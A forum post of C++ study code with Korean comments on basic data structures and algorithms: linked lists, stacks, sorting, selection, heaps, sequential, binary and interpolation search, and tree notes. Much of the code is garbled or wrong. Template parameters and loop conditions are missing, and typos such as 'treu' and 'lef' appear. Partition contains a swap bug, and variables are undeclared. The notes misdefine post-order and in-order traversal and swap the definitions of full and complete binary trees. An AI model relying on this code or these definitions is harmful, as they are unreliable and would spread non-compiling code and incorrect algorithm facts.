Security & Hacking

[C++]기초알고리즘 Basic Algorithms

PigBaby — Thu, 12 Feb 2009 13:10:59 GMT

김재규님의 C++강좌를 보고 구현한 것입니다.
강의에 누락된 부분은 임이적으로 구현한 부분이 있으니 조심^^;

I've been studying the algorithms with Kim's lecture.
followings are results of that.

/*
virtual function 의 기능
코드의 간결화
하위클래스에서 정의한 함수를 상위 로직에 이용할 수있게 해줌

friend 의 기능
private자원에 대한 접근을 허용

#include
#include
#include
#include

using namespace std;
typedef void* POS;
/*
Single Linked List
*/
template class SingleList{
enum Exception{
  INVALID_POS,
  EMPTY_SingleList
};
struct Node {
  T data;
  Node *next;
};
public:
_init();

SingleList();
~SingleList();
// basic operation
bool IsEmpty(){ return m_nCount == 0;}
int GetCount(){ return m_nCount;}
RemoveAll(void);
T RemoveNext(POS pos);
POS InsertNext(POS pos,const T& data);
// bool IsValid(POS pos){return true;}

//head operation

T RemoveHead(){return RemoveNext(m_pHead);}
POS InsertHead(const T& data);
T& GetHead();
POS GetHeadPos() const { return m_pHead->next; };
bool GetNext(POS& pos,T& value) ;
private:
Node *m_pHead;
Node *m_pTail;
int m_nCount;
};
template SingleList::_init()
{
m_pHead = new Node;
m_pTail = new Node;
m_pHead->next = m_pTail;
m_pTail->next = m_pTail;
m_nCount = 0;
}
template SingleList::SingleList()
{
_init();
}
template SingleList::~SingleList()
{
RemoveAll();
}
template SingleList::RemoveAll()
{
Node *t = m_pHead->next, *p;
while(t != m_pTail)
{
  p = t;
  t = t->next;
  delete p;
}
m_pHead->next = m_pTail;

}
template
POS SingleList::InsertNext(POS pos, const T& data)
{
Node *pNode = (Node*) pos;
if(pNode == 0) return 0;
if(pNode == m_pTail) return 0;

Node *pNewNode = new Node;
pNewNode->data = data;
pNewNode->next = pNode->next;
pNode->next = pNewNode;

m_nCount ++;

return pNewNode;
}
template
POS SingleList::InsertHead(const T& data)
{
return InsertNext(m_pHead,data);
}
template
T SingleList::RemoveNext(POS pos)
{
Node *pNode = (Node*) pos;
if(pNode == 0)
throw INVALID_POS;
if(pNode->next == m_pTail)
throw INVALID_POS;

Node *pNodeDel = pNode->next;
pNode->next = pNode->next->next;

T rt = pNodeDel->data;
delete pNodeDel;

m_nCount --;

return rt;
}
template
bool SingleList::GetNext(POS& pos,T& value)
{
Node *pNode = (Node*) pos;
if(pNode == 0 || pNode == m_pTail )
return false;// throw INVALID_POS;

pos = (POS)((Node*)pos)->next;
value = pNode->data;
return true;
}

/*
Double Linked List
*/

template class DoubleList{
public:
enum Exception{
  INVALID_POS,
  EMPTY_DoubleList
};
struct Node {
  T data;
  Node *next;
  Node *prev;
};
public:
_init();

DoubleList();
~DoubleList();
// basic operation
bool IsEmpty(){ return m_nCount == 0;}
int GetCount() const { return m_nCount;}
RemoveAll(void);
T RemoveNext(POS pos);
T RemovePrev(POS pos);
POS InsertNext(POS pos,const T& data);
POS InsertPrev(POS pos,const T& data);
bool IsValid(POS pos){return true;}

//head operation
T RemoveHead() { return RemoveNext(m_pHead); }
POS InsertHead(const T& data) { return InsertNext(m_pHead,data); }
T& GetHead();
POS GetHeadPos() const { return (POS)m_pHead->next; }

//tail operation
T RemoveTail(){return RemovePrev(m_pTail);}
POS InsertTail(const T& data) { return InsertPrev(m_pTail,data); }
void AddTail(const T& data) { InsertPrev(m_pTail,data); }
bool IsTail(const POS& pos) const { return m_pTail == (Node*)pos; }

// additional operation
bool Find(const T& key, T& value);
bool GetAt(const POS pos,T& value) const;
bool GetNext(POS& pos,T& value) const;
bool DeleteAt(POS pos);

// operator
const DoubleList& operator=(const DoubleList& list);

private:
Node *m_pHead;
Node *m_pTail;
int m_nCount;
public:
bool _find(const T& key, POS& pos) const;
//friend class ListSeqMap;
};
template DoubleList::_init()
{
m_pHead = new Node;
m_pTail = new Node;
m_pHead->next = m_pTail;
m_pHead->prev = m_pHead;
m_pTail->next = m_pTail;
m_pTail->prev = m_pHead;
m_nCount = 0;
}
template DoubleList::DoubleList()
{
_init();
}
template DoubleList::~DoubleList()
{
RemoveAll();
}
template DoubleList::RemoveAll()
{
Node *t = m_pHead->next,*p;
while(t != m_pTail){
  p = t;
  t = t->next;
  delete p;
}
m_pHead->next = m_pTail;
m_pHead->prev = m_pHead;
m_pTail->next = m_pTail;
m_pTail->prev = m_pHead;

m_nCount = 0;

}
template
const DoubleList& DoubleList::operator=(const DoubleList& list)
{
T t;
POS pos = list.GetHeadPos();
while ( !list.IsTail(pos) ) {
  list.GetAt(pos,t);
  InsertTail(t);
  list.GetNext(pos,t);
}
return *this;
}
template
bool DoubleList::Find(const T& key, T& value)
{
POS pos;
if(!_find(key,pos))
  return false;
value = GetAt(pos);
return true;
}
template
bool DoubleList::_find(const T& key, POS& pos) const
{
for (Node *t = m_pHead->next; t != m_pTail ; t = t->next )
{
  if (t->data == key) {
   pos = (POS)t;
   return true;
  }
}
return false;

}
template
bool DoubleList::GetAt(const POS pos, T& value) const
{
Node *pNode = (Node*) pos;
if (pos == 0 || pos == m_pHead || pos == m_pTail)
return false;
value = pNode->data;

return true;
}
template
bool DoubleList::GetNext(POS& pos,T& value) const
{
Node *pNode = (Node*) pos;
if (pos == 0 || pos == m_pTail)
return false;

pos = (POS)pNode->next;
value = pNode->next->data;
return true;
}
template
bool DoubleList::DeleteAt(POS pos)
{
Node *pNode = (Node*) pos;
if (pos == 0 || pos == m_pHead || pos == m_pTail)
return false;

pNode->next->prev = pNode->prev;
pNode->prev->next = pNode->next;

m_nCount --;
delete pNode;
return true;
}
template
POS DoubleList::InsertNext(POS pos, const T& data)
{
Node *pNode = (Node*) pos;
if(pNode == 0) return 0;
if(pNode == m_pTail) return 0;

Node *pNewNode = new Node;
pNewNode->data = data;

pNewNode->next = pNode->next;
pNewNode->prev = pNode;
pNewNode->next->prev = pNewNode;
pNode->next = pNewNode;

m_nCount ++;

return pNewNode;
}

template
T DoubleList::RemoveNext(POS pos)
{
Node *pNode = (Node*) pos;
if(pNode == 0)
throw INVALID_POS;
if(pNode->next == m_pTail)
throw INVALID_POS;

Node *pNodeDel = pNode->next;
pNode->next = pNode->next->next;
pNodeDel->next->prev = pNode;

T rt = pNodeDel->data;
delete pNodeDel;

m_nCount --;

return rt;
}
template
POS DoubleList::InsertPrev(POS pos, const T& data)
{
Node *pNode = (Node*) pos;
if(pNode == 0) return 0;
if(pNode == m_pHead) return 0;

Node *pNewNode = new Node;
pNewNode->data = data;

pNewNode->next = pNode;
pNewNode->prev = pNode->prev;
pNewNode->next->prev = pNewNode;
pNewNode->prev->next = pNewNode;

m_nCount ++;

return pNewNode;
}

template
T DoubleList::RemovePrev(POS pos)
{
Node *pNode = (Node*) pos;
if(pNode == 0)
throw INVALID_POS;
if(pNode->prev == m_pHead)
throw INVALID_POS;

Node *pNodeDel = pNode->prev;
pNodeDel->prev->next = pNode;
pNode->prev = pNodeDel->prev;
T rt = pNodeDel->data;
delete pNodeDel;

m_nCount --;

return rt;
}

template class ListQueue{
public:
ListQueue(){};
POS Put(const T& data);
T Get();
bool IsEmpty(){return m_list.IsEmpty();}
private:
DoubleList m_list;
};
template
POS ListQueue::Put(const T& data)
{
return m_list.InsertHead(data);
}
template
T ListQueue::Get()
{
return m_list.RemoveTail();
}

template class ListStack{
public:
ListStack(){}
// ~ListStack();
POS Push(const T& data);
T Pop();
bool IsEmpty() {return m_list.IsEmpty();};

private:
SingleList m_list;
};
template
POS ListStack::Push(const T& data)
{
return m_list.InsertHead(data);
}
template
T ListStack::Pop()
{
return m_list.RemoveHead();
}

template class ArrayStack{
public:
ArrayStack(int array_size);
~ArrayStack();
Push(const T& data);
T Pop();
bool IsEmpty() { return (m_nTop == -1);}
private:
T *m_pArray;
int m_nTop;
int m_nLen;
};
template ArrayStack::ArrayStack(int array_size)
{
m_pArray = new T[array_size];
m_nTop = -1;
m_nLen = array_size;
}
template ArrayStack::~ArrayStack()
{
if(m_pArray)
  delete []m_pArray;
}
template T ArrayStack::Pop()
{
if(!IsEmpty())
  return m_pArray[m_nTop--];
throw "ERROR STACK UNDER FLOW";
}
template ArrayStack::Push(const T& data)
{
if(m_nTop < m_nLen -1 )
{
  m_pArray[++m_nTop] = data;
}
else
  throw "ERROR STACK OVER FLOW";
}
/*
toLong
*/
long toLong(string s)
{
long r = 0;
istringstream ss(s);
ss >> r;
return r;
}
/*
toString
*/
string toString(long n)
{
ostringstream ss;
ss << n;
return ss.str();
}

/*
Greatest Common Divisor
*/
int gcd(int a, int b)
{
while (b>0){
  int t = a % b;
  a = b;
  b = t;
}
return a;
}
template void SelectionSort(T a[], int n)
{
T min;
int minindex;
int i,j;
for( i=0; i< n-1; i++)
{
  minindex = i;
  min = a[i];
  for ( j = i+1; j  {
   if(min > a[j])
   {
    min = a[j];
    minindex =j;
   }
  }
  a[minindex] = a[i];
  a[i] = min;
}
}

class MyClass
{
public:
MyClass();
MyClass(const MyClass& c);
bool operator==(const MyClass& c);
bool operator>(const MyClass& c);
};
template void InsertionSrt(T a[], int n)
{
int i,j;
T t;
for (i = 1; i < n ; i++)
{
  t = a[i];
  j = i;
  while (a[j-1]> t && j>0)
  {
   a[j] = a[j-1];
   j--;
  }
  a[j] = t;
}
}
template void BubbleSort(T a[], int n)
{
int i,j;
for(i=0;i  for(j=1;j  {
   if(a[j-1]>a[j]){
    T t = a[j-1];
    a[j-1] = a[j];
    a[j] = t;
   }
  }
}

template void BubbleSort1(T a[], int n)
{
int i,j;
for(i=0;i  for(j=i+1;j  {
   if(a[i]>a[j]){
    T t = a[i];
    a[i] = a[j];
    a[j] = t;
   }
  }
}
template int Partition(T a[], int n)
{
T v, t;
int i,j;
v = a[n-1];
i = -1;
j = n -1;
while (true)
{
  while (a[++i] < v);
  while (a[--j] > v);
  if (i >= j) break;
  t = a[i]; a[i] = a[j]; a[i] =t;

}
t = a[i]; a[i] = a[n-1]; a[n-1] =t;
return i;
}
template void QuickSort(T a[], int n)
{
int i;
if(n>1){
  i = Partition(a,n);
  QuickSort(a,i);
  QuickSort(a+i+1,n-i-1);
}
}
// 난수분할
template void QuickSort_rn(T a[], int n)
{
if(n>1)
{
  pivot = GetRandom(n);
  Exchange(a[pivot],a[n-1]);
  i = Partition(a,n);
  QuickSort_rn(a,i);
  QuickSort_rn(a+i+1,n-n-1);
}
}
// Median of three partition
template void QuickSort_median(T a[], int n)
{
int i;
if(n > 3)
{
  SortThree(a[0],a[n/2],a[n-1]);
  pivot = a[n/2];
  Exchange(a[pivot], a[n-2]);
  i = Partition(a+1,n-2);
  QuickSort_median(a+1, n-2);
  QuickSort_median(a+i+2,n-i-2);
}
else
{
  SortThree(a[0],a[n/2],a[n-1]);
}
}
//Median of three partition + insert
template
void QuickSort_sub(T a[], int n)
{
int i;
if(n > 200)
{
  i = Partition(a+1,n-2);
  QuickSort_sub(a+1,i-1);
  QuickSort_sub(a+i+1,n-i-2);
}
else
{
  InsertionSort(a,n);
}
}

template void QuickSort_nr(T a[], int n)
{
T v, t;
int i,j;
int l,r;
ListStack stack;
l = 0;
r = n-1;
stack.Push(r);
stack.Push(l);
while (!stack.IsEmpty())
{
  l = stack.Pop();
  r = stack.Pop();
  if(r-l+1 > 1) //
  {
   v = a[r];
   i = l - 1;
   j = r;
   while(true)
   {
    while (a[++i] < v);
    while (a[--j] > v);
    if(i >= j) break;
    t = a[i]; a[i] = a[j]; a[j] = t;
   }
   t = a[i]; a[i] = a[r]; a[r] = t;
   stack.Push(r);
   stack.Push(i+1);
   stack.Push(i-1);
   stack.Push(l);
  }
}
}
/*
qsort 가 stdlib.h 에 정의
다음과 같이 비교함수를 인자로..
*/
int intcmp(const void* a, const void* b)
{
return (*(int*)a - *(int*)b);
}

// Selection Problem
// Selection Sort를 이용한 방법
template
T Select_Linear(T a[], int n, int k)
{
T min;
int minindex;
int i,j;
for (i=0; i  minindex = i;
  min = a[i];
  for (j = i +1; j < n; j++) {
   if (min > a[j]){
    min = a[j];
    minindex = j;
   }
  }
  a[minindex] = a[i];
  a[i] = min;
  if(i == k)
   return min;
}
throw "Invalid k";
}
// 분할을 이용한 반법
template
T Selection(T a[], int l, int r, int k)
{
int i;
if(r > l)
{
  i = Partition(a,l,r);
  if(i>l+k-1) Selection(a, l, i-1, k);
  if(i }
}

template
T Selection_Partition(T a[], int n, int k)
{
T v,t;
int i,j,l,r;
l = 1;
r = n;
while (r>l)
{
  v = a[r];
  i = l -1;
  j = r;
  while (true)
  {
   while (a[++i] < v);
   while (a[--j] > v);
   if (i >= j) break;
   t = a[i]; a[i] = a[j]; a[j] = t;
  }
  t = a[i]; a[i] = a[r]; a[r] =t;
  if (i >= k) r = i -1;
  if (i <= k) l = i + 1;
}
return a[i];
}

/*
힙정렬 HeapSort

   힙정렬에 사용되는 이진 트리의 조건
   -부모노드는 자식노드보다 크다.
   -따라서 root가 가장 큰값.

   부가로 메모리가 사용되지 않는다는 장점

*/
template class Heap
{
public:
Heap();
Heap(T a[], int n);
T& a(int k) { return m_pArray[k-1];}
int GetHeaplen() { return m_nHeapLen;}
void SetHeapLen(int n) { m_nHeapLen = n;}
void UpHeap(int k);
void DownHeap(int k);
void Insert(T v);
T Extract(void);
private:
T *m_pArray;
int m_nArrayLen;
int m_nHeapLen;
};
template
void Heap::UpHeap(int k)
{
T v;
v = a(k);
while (v > a(k/2) && k >1)
{
  a(k) = a(k/2);
  k /= 2;
}
a(k) = v;
}
template
void Heap::Insert(T v)
{
a(++m_nHeapLen) = v;
UpHeap(m_nHeapLen);
}
template
void Heap::DownHeap(int k)
{
int i;
T v;
v = a(k);
while( k<= m_nHeapLen/2) {
  i = k*2;
  if(i a(i)) i++;
  if(v > a(i) || v == a(i))break;
  a(k) = a(i);
  k = i;
}
a(k) = v;
}
template
T Heap::Extract(void)
{
T v = a(1);
a(1) = a(m_nHeapLen--);
DownHeap(1);
return v;
}
// Heap개선 상향식으로
template
void HeapSort_up(T a[], int n)
{
int k;
Heap heap(a,n);
heap.SetHeapLen(n);

//내부노드에 대해서만 DownHeap
for (k = n/2; k >= 1; k--)
heap.DownHeap(k);
while(n>1)
heap.a(n--) = heap.Extract();
}

//ShellSort h(n) = 2h(n-1)
template
void ShellSort(T a[], int n)
{
int i,j,k,h;
T v;
for ( h = n/2 ; h > 0 ; h /= 2 )
{
  for ( i = 0 ; i < h ; i++ ) // 변이
  {
   for ( j = i+h ; j < n ; j += h )
   {
    v = a[j];
    k = j;
    while ( k > h-1 && a[k-h] > v)
    {
     a[k] = a[k-h];
     k -= h;
    }
    a[k] = v;
   }
  }
}
}
//ShellSort h(n) = 3h(n-1)+1
template
void ShellSort_3h(T a[], int n)
{
int i,j,k,h;
T v;
for( h =1; h< n; h = 3*h+1);
for ( h /=3 ; h > 0 ; h /= 3 )
{
  for ( i = 0 ; i < h ; i++ ) // 변이
  {
   for ( j = i+h ; j < n ; j += h )
   {
    v = a[j];
    k = j;
    while ( k > h-1 && a[k-h] > v)
    {
     a[k] = a[k-h];
     k -= h;
    }
    a[k] = v;
   }
  }
}
}

template
void MergeSort(T a[], int n)
{
int i,j,k,first,second,size;
T *b;
b = new T[n];
assert(b != 0);
for(size = 1; size {
  first = 0;
  second = size;
  while(second < n)
  {
   i = first;
   j = second;
   k = first;
   while (i   {
    if (a[i] > a[j]) {
     if (j       b[k++] = a[j++];
     else
      b[k++] = a[i++];
    } else {
     if (i < first + size)
      b[k++] = a[i++];
     else
      b[k++] = a[j++];
    }
   }
   first += 2*size;
   second += 2*size;
  }
  for (i=0; i   a[i] = b[i];
}
delete [] b;
}

template
void MergeSort_ex(T a[], int n)
{
int i,j,k,first,second,size;
T *b;
b = new T[n];
assert(b != 0);
T *src = a;
T *tmp = b;
for(size = 1; size {
  first = 0;
  second = size;
  while(second < n)
  {
   i = first;
   j = second;
   k = first;
   while (i   {
    if (src[i] > src[j]) {
     if (j       tmp[k++] = src[j++];
     else
      tmp[k++] = src[i++];
    } else {
     if (i < first + size)
      tmp[k++] = src[i++];
     else
      tmp[k++] = src[j++];
    }
   }
   first += 2*size;
   second += 2*size;
  }
  //
  T *t= src;src = tmp; tmp = t;
}
if(tmp == a)
  for (int l =0 ; l delete [] b;
}

template
bool CheckSort(T a[], int n)
{
for ( int i=0; i < n-1 ; i++ )
{
if( a[i] > a[i+1] ) return false;
}
return true;
}

//기수 교환 정렬
unsigned long bits(unsigned long x, int k, int j)
{
return (x >> k) & ~(~0 << j);
}
void RadixExchangeSort(unsigned long a[], int n, int b = 31)
{
unsigned long t;
int i,j;

if ( n > 1 && b >= 0 ) //종료조건
{
  i = 0;
  j = n - 1;
  while ( true )
  {
   while (bits(a[i],b,1) == 0 && i < j) i ++;
   while (bits(a[j],b,1) != 0 && i < j) j --;
   if ( i >= j ) break;
   t = a[i]; a[i] = a[j]; a[j] = t;
  }
  if ( bits(a[n-1],b,1) == 0) j++;
  RadixExchangeSort(a,j,b-1);
  RadixExchangeSort(a+j,n-j,b-1);
}
}
void RadixExchangeSort_nr(unsigned long a[], int n)
{
unsigned long t;
int i,j;
int l,r;
int b = 31; // assume 32bit
ArrayStack stack(32*3 + 3);
l = 0; r = n-1;
stack.Push(b); stack.Push(r);stack.Push(l);
while (!stack.IsEmpty()) {
  l = stack.Pop(); r = stack.Pop(); b = stack.Pop();
  if ( r > l && b >= 0 ) //종료조건
  {
   i = l; j = r;
   while ( true )
   {
    while (bits(a[i],b,1) == 0 && i < j) i ++;
    while (bits(a[j],b,1) != 0 && i < j) j --;
    if ( i >= j ) break;
    t = a[i]; a[i] = a[j]; a[j] = t;
   }
   if ( bits(a[r],b,1) == 0) j++;
   stack.Push(b-1); stack.Push(r);stack.Push(j);
   stack.Push(b-1); stack.Push(j-1);stack.Push(l);
  }
}
}

void StraightRaixSort(unsigned long a[], int n)
{
int i,j;
unsigned long *b, *count;
unsigned long w = 32;
unsigned long m = 8;
unsigned long mv = (1 << m);

b = new unsigned long [n];
count = new unsigned long [mv];
for(i = 0; i< w/m; i++){
  for (j =0; j < mv; j++)
   count[j] = 0;
  for (j =0; j < n; j++)
   count[bits(a[j],i*m,m)]++;
  for (j =1; j < mv; j++)
   count[j] = count[j] + count[j-1];
  for (j = n-1; j >= 0; j--)
   b[--count[bits(a[j],i*m,m)]] = a[j];
  for (j = 0; j < n; j++)
   a[j] = b[j];
}
delete []b;
delete []count;
}

/*
Search
-주어진 자료집합에서 원하는 레크드를 찾는 것
-Issues:삽입/검색/삭제
-자료집합의 조직화 여부에 따라 성능이 달라짐
순차검색
-ArraySeqMap (삽입O(1), 검색O(N), 삭제O(N))
-ListSeqMap (삽입O(1), 검색O(N), 삭제O(1))
이분검색
-BinMap(삽입:O(N) 검색:O(LogN) 삭제O(N))
내분검색
-ItpMap(삽입:O(N),검색:O(loglogN), 삭제O(N))
*/

/*
*Map을 사용하기 위한 class 구조
받드시 정의해야 할 것들
*Default Constructor
*Copy Constructor
*operator =
*operator ==
*operator >
*/
class Person
{
public:
int m_id; //key
string m_name;
Person() : m_id(0) {}
Person(int id, const string& name) : m_id(id), m_name(name){}
Person(const Person& p) { m_id = p.m_id;m_name = p.m_name;}
Person operator = (const Person& p) {
m_id = p.m_id; m_name = p.m_name; return *this;
}
bool operator == (const Person& p) const { return m_id == p.m_id;}
bool operator > (const Person& p) const { return m_id> p.m_id;}

//Radix Search를 위한 연산자 정의
unsigned long operator>>(const unsigned long i) const {return m_id >> i;};
friend class PersonHash;
// private 을 접근 허용하는 것이다.

};

class PersonHash
{
public:
unsigned long hash(const Person& p)const {
return (unsigned long)p.m_id * 11;
}
};

/*
Sequential Search?
-무순서로 저장된 자료집합에서 검색하고자
하는 key를 처음 부터 차례로 비교해서 찾아 내는 방법
검색하는 방법
- 삽입(insert)
   자료집합(array)의 제일 뒤에 새로운 자료추가 (갯수 증각)
- 검색(Find)
   자료집합의 처음부터 key를 찾음
- 제거(Remove)
   자료집합에서 keyfmf 찾아 해당 레크드를 삭제하고
   뒷부분을 앞으로 당김 (메모리 이동, 갯수감속)
Complexity
-Insertion : O(1)
-Find : O(N)
-Remove: O(N)

*/
template class ArraySeqMap
{
public:
struct MapPos{
T key;
long index;
};
public:
ArraySeqMap(int nSize = 100);
~ArraySeqMap() {delete []m_pArray;}

//utility function
long GetCount() const {return m_nLen;}
bool IsEmpty() const { return m_nLen == 0 ;}
void RemoveAll() const { m_nLen = 0;}

//operations
bool Find(const T& key, T& value) const;
bool Insert(const T& value);
bool Remove(const T& key);
bool FindFirst(const T& key, T& value, MapPos& pos) const;
bool FindNext(T& value, MapPos& pos) const;
bool RemoveAt(const MapPos& pos);
protected:
T *m_pArray;
long m_nArraySize;
long m_nLen;
virtual bool _find(MapPos& pos) const;
};
template
bool ArraySeqMap::Insert(const T& value)
{
//check for too may items
if(m_nLen + 1 > m_nArraySize)
return false;

// add new item to end
m _pArray[m_nLen++] = value;
return true;
}

template
bool ArraySeqMap::_find(MapPos& pos) const
{
if(pos.index >= m_nLen) //범위를 벗어나면
  return false;

bool found = false;
for(int i = pos.index; i < m_nLen; i++){
  if(m_pArray[i] == pos.key) {
   found = true;
   break;
  }
}
if (found){
  pos.index = i;
  return treu;
}else {
  return false;
}
}
template
bool ArraySeqMap::Find(const T& key, T& value) const
{
MapPos pos;
pos.index = 0;
pos.key = key;
if( !_find(pos))
  return false;
value = m_pArray[pos.index];
return true;
}
template
bool ArraySeqMap::FindFirst(const T& key, T& value, MapPos& pos) const
{
pos.index = 0;
pos.key = key;
if (!_find(pos))
  return false;
value = m_pArray[pos.index];
return true;
}
template
bool ArraySeqMap::FindNext(T& value,MapPos& pos) const
{
pos.index ++;
if(!_find(pos))
  return false;
value = m_pArray[pos.index];
return true;
}
template
bool ArraySeqMap::Remove(const T& key)
{
MapPos pos;
pos.index = 0;
pos.key = key;
if(!_find(pos))
  return false;
RemoveAt(pos);
return true;
}
template
bool ArraySeqMap::RemoveAt(const MapPos& pos)
{
// 뒷녀석들 당기기
for(int i = pos.index +1; i< m_nLen; i++)
  m_pArray[i-1] = m_pArray[i];
m_nLen--;
return true;
}
/*
ArraySeqMap개선:Lazy Deletion
:키값과 Excape과의 구분이 가능할 경우
-Remove 후 메모리를 이동하지 않고
-삭제되었다는 표시만을 해두는 방법
-예: key는 양의 정수만 있다면, Escape코드로 -1을 사용
- 삽입의 효율을 위해 Empty List를 사용하는 것이 좋음
*Empty List: 삭제된 곳의 index를 저장하는 리스트
*/

/*
Linked List를 이용한 순차검색
잇점
Remove 동작이 단순하다.
Array로 했을 경우 빈곳을 메우기 위한 메모리 이동
그러나
느리다.

Complexity
-Insert : O(1)
-Find : O(N)
-Delete : O(1)

*/
template class ListSeqMap
{
public:
struct MapPos{
T key;
POS pos;
};
public:
ListSeqMap(){}
~ListSeqMap() {}

//utility function
long GetCount() const {return m_list.GetCount();}
bool IsEmpty() const { return m_list.IsEmpty();}
void RemoveAll() const { m_list.RemoveAll();}

//operations
bool Find(const T& key, T& value);
bool Insert(const T& value);
bool Remove(const T& key);
bool FindFirst(const T& key, T& value, MapPos& pos);
bool FindNext(T& value, MapPos& pos);
bool RemoveAt(const MapPos& pos);
protected:
DoubleList m_list;
virtual bool _find(MapPos& pos) const;

};
template
bool ListSeqMap::_find(MapPos& pos) const
{
if(!m_list._find(pos.key, pos.pos))
  return false;
else
  return true;
}
/*
MRU 기법 적용 (Most Recently Used)
-가장 최근에 검색된 레코드를 앞으로 옮김
-실세계에서 검색은
   *전체집합 중 극히 일부분에 대해 이루어지고
   *그 일부분에 대해 중복적으로 이루어지는 경우가 많다.
   *ex)전체 회원데이타베이스에서 Royalty높은 회원은 소수다.
*/

template
bool ListSeqMap::Find(const T& key, T& value)
{
MapPos pos;
pos.pos = 0;
pos.key = key;

if(!_find(pos))
return false;
value = m_list.GetAt(pos.pos);

//MRU 법칙으로 찾은 갑을 제일 앞으로 올림
m_list.DeleteAt(pos.pos); //지우고
m_list.AddHead(value); //해더 뒤에 넣는다.
return true;
}
template
bool ListSeqMap::Insert(const T& value)
{
m_list.AddTail(value);
return true;
}
template
bool ListSeqMap::Remove(const T& key)
{
MapPos pos;
pos.pos = 0;
pos.key = key;

if(!_find(pos))
return false;

RemoveAt(pos);
return true;
}
template
bool ListSeqMap::RemoveAt(const MapPos& pos)
{
bool result = true;
try {
m_list.DeleteAt(pos.pos);
} catch (DoubleList::Exception) {
result = false;
}
return result;
}
template
bool ListSeqMap::FindFirst(const T& key, T& value, MapPos& pos)
{
pos.pos = 0;
pos.key = key;

if(!_find(pos))
  return false;
value = m_list.GetAt(pos.pos);
return true;
}
template
bool ListSeqMap::FindNext(T& value, MapPos& pos)
{
m_list.GetNext(pos.pos);
if (pos.pos == 0)
  return false;
if(!_find(pos))
  return false;
value = m_list.GetAt(pos.pos);
return true;
}

/*
이분검색 Binary Search
-자료집합은 정렬되어 있어야한다.
-구간크기 > 0, key값과 중앙값을 비교하여
*key 값 == 중앙값이면 찾은 것이다.
*key 값 > 중앙값이면 오른쪽 구간 선택
-Insert: 정렬된 상태가 유지 되어야 하므로
*삽입정렬 알고리즘
-Del: 삭제한 곳 뒤의 자료들을 앞으로 당긴다.
*

Complexity
-Insert : O(N)
-Find : O(logN)
-Del : O(N)
*/
template
int BinarySearch(T a[], int left, int right, T key)
{
while(right >=left){
  mid = (left + right)/2;
  if(a[mid] == key) return mid;
  if(key > a[mid]) left = mid+1;
  else right = mid -1;
}
// Not found!!!
}

template class BinMap : public ArraySeqMap
{
public:
BinMap(int nSize =100): ArraySeqMap(nSize) {}
~BinMap() {} // m_pArray는 ~ArraySeqMap에저 지워줌
//operation
bool Insert(const T& value);
bool FindFirst(const T& key, T& value, MapPos& pos) const;
bool FindNext(T& value, MapPos& pos)const;
protected:
bool _find(MapPos& pos) const;
};
template
bool BinMap::_find(MapPos& pos) const
{
int mid;
int left = 0;
int right = m_nLen -1;
while (right >= left) {
  mid = (right +left) / 2;
  if(pos.key == m_pArray[mid]) {
   pos.index = mid;
   return true;
  }
  if (pos.key > m_pArray[mid]) lef = mid + 1;
  else right = mid -1;
}
return false;
}
template
bool BinMap::Insert(const T& value)
{
if(!ArraySeqMap::Insert(value))
  return false;

//Insertion Sort
for(int j = m_nLen - 1; j>0; j--)
{
  if(m_pArray[j] > value)
   m_pArray[j] = m_pArray[j-1];
  else
   break;
}
m_pArray[j] = value;
return true;
}
/*
ArraySeqMap 과의 차이가있음
*/
template
bool BinMap::FindFirst(const T& key, T& value, MapPos& pos) const
{
if(!ArraySeqMap::FindFirst(key,value,pos))
  return false;
for(int j = pos.index; j>0;j--){
  if(!(m_pArray[j-1]==value)) break;
}
pos.index =j;
value = m_pArray[pos.index];
return true;
}
template
bool BinMap::FindNext(T& value, MapPos& pos) const
{
if(pos.index + 1 >= m_nLen) return false;
if(m_pArray[pos.index +1] == pos.key) {
  pos.index++;
  value = m_pArray[pos.index];
  return true;
} else {
  return false;
}
}

/*
내분 검색 Interpolation Search
:자료집합이 정렬된 선형 분포를 가진다고 가정하고
-내분법(Interpolation)에 의해 mid값을 찾음
-그외 과정은 이분검색과 동일
-산술연산 가능한 숫자키만 가능
    *,/,-.+ 연산이 가능해야함

   이분법
   (right-left):(mid-left) = (a[right] -a[left]):(key - a[left])
   (mid-left)*(a[right]-a[left])=(right-left)*(key -a[left])
   mid = left + (right-left)*(key-a[left])/(a[right]-a[left])

Complexity
-삽입 : O(N)
-검색 : O(log logN)
      성능은 그렇게 좋지 않음
   비교는 덜하나 무거운 double계산..;;
   이분검색 보다 빠르다는 것은 모름..;;

-삭제 : O(N)
*/
template class ItpMap : public BinMap
{
public:
ItpMap(int nSize = 100) : BinMap(nSize){}
~ItpMap(){}
protected:
bool _find(MapPos& pos) const;
};
template
bool ItpMap::_find(MapPos& pos) const
{
int mid;
int left = 0;
int right = m_nLen -1;
while(right >= left) {
  if(!(m_pArray[right] == m_pArray[left]))){
   mid = (int)(left + (double)(pos.key - m_pArray[left])*
      (right - left)/(m_pArray[right]-m_pArray[left]));
   if(mid    if(mid >right)mid = right;
  } else
   mid = left; // 젯수가 0 인 경우,
      // left와 rigtht사이는 모두 같은 값, 아무거나 리턴
  if ( pos.key == m_pArray[mid]) {
   pos.index = mid;
   return true;
  }
  if (pos.key > m_pArray[mid]) left = mid +1;
  else right = mid -1;
}
// Not found
return false;
}
/*
트리 Tree

-Node(vertex)와 Link(edge)로 구성됨
*Node는 정보를 포함하고 있음
*Link는 두 Node간의 연결관계를 나타냄
-다음의 특징을 만족해야 함
*Root가 하나 존재 : Root는 최상위 Node
*Root를 제외한 모든 Node는 하나의 부모를 가져야 함
*Node는 여러개의 자식을 가질 수 있음
*한 Node로 부터 다른 Node로 가는 경로는 유일

    full binary tree
     :마지막레벨을 제외한 모든 레벨에 노드가 꽉차있음
    complete binary tree
     :모든 레벨이 노드가 꽉차있음

     Tree Traversal
   Stack 기반: Pre-order, Post-order, In-order
   Queue 기반: Level-order

  pre-order 1.Root 2. Left 3. Right
  post-order 1.Left 2. Root 3. Right
  in-order 1.Left 2.Right 3.Root

     수식트리 Parse Tree
  1.In-Order Traverse 하면 Infix Notation
  2.Pre-Order Traverse 하면 Prefix Notation
  3.Post-Order Traverse 하면 Postfix Notation

   후위표기에서 수식트리구성
     알고리즘
   1. Operand 는 Node를 만들어 Stack에 Push
   2. Operand 는 Node를 생성하여
     1. Stack에서 Pop한 노드를 오른쪽자식으로 하고
     2. Stack에서 또 Pop 한 노드를 왼쪽자식으로 하고
     3. Operator Node를 Stack에 Push
   3. Stack에 마지막으로남은 노드가 Root이다.
*/
/*
void BinaryTree::PreOrderTraverse(Node* pNode)
{
if(pNode != m_pNodeTail)
{
  Visit(pNode);
  PreOrderTraverse(pNode->pLeft);
  PreOrderTraverse(pNode->pRight);
}
}
